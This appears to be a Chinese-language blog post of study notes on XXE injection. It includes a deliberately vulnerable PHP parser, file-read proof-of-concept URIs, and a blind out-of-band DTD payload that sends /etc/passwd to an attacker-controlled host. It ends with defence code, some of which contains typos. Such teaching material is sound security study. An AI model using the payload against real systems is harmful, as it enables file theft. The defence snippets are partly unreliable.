web基础漏洞-xxe

XXE漏洞利用 – 任意文件读取_哔哩哔哩_bilibili

DTD快速入门_哔哩哔哩_bilibili

XXE学习笔记 – FreeBuf网络安全行业门户

1、介绍

xxe漏洞全称XML External Entity Injection即外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起DOS攻击等危害。

xxe漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可以上传恶意xml文件。而php、java等网站代码读取xml文件时,会根据xml中外部引入实体路径设置发起请求。

由xml导致的漏洞,一般是造成任意文件读取,可以分为有回显和无回显

2、测试代码

<?php
$xml=file_get_contents("php://input");
$data=simplexml_load_string($xml);
echo "<pre>";
print_r($data);//注释掉该语句即为无回显的情况
?>

3、poc

file:///path/to/file.ext 
http://url/file.ext
php://filter/read=convert.base64-encode/resource=conf.php
  • file协议不能直接读取php文件,会报错

4、无回显

实际上是将本地数据读取后作为参数拼接到请求中,发送给攻击者设置的dtd服务器。

<!ENTITY % p1 SYSTEM "file:///etc/passwd">
<!Entity % p2 "<!ENTITY e1 SYSTEM 'http://192.168.1.103/test.php?con=%p1;'>">
%p2;

5、xxe漏洞消亡原因

libxml2.9.0以后,默认不解析外部实体,导致xxe漏洞主机消亡。

6、xxe防御

(1)使用开发语言提供的禁用外部实体方法

//php
libxml_disable_entity_loader(true);
//java
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setExpanEntityReferences(false);
//python
from lxml import etree
xmlData = etree.parse(xmlSource.etree.XMLParser(resolve_entities=False))

(2)过滤用户提交的xml数据

关键词:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC

 

posted @ 2023-10-21 19:41  挖洞404  阅读(46)  评论(0编辑  收藏  举报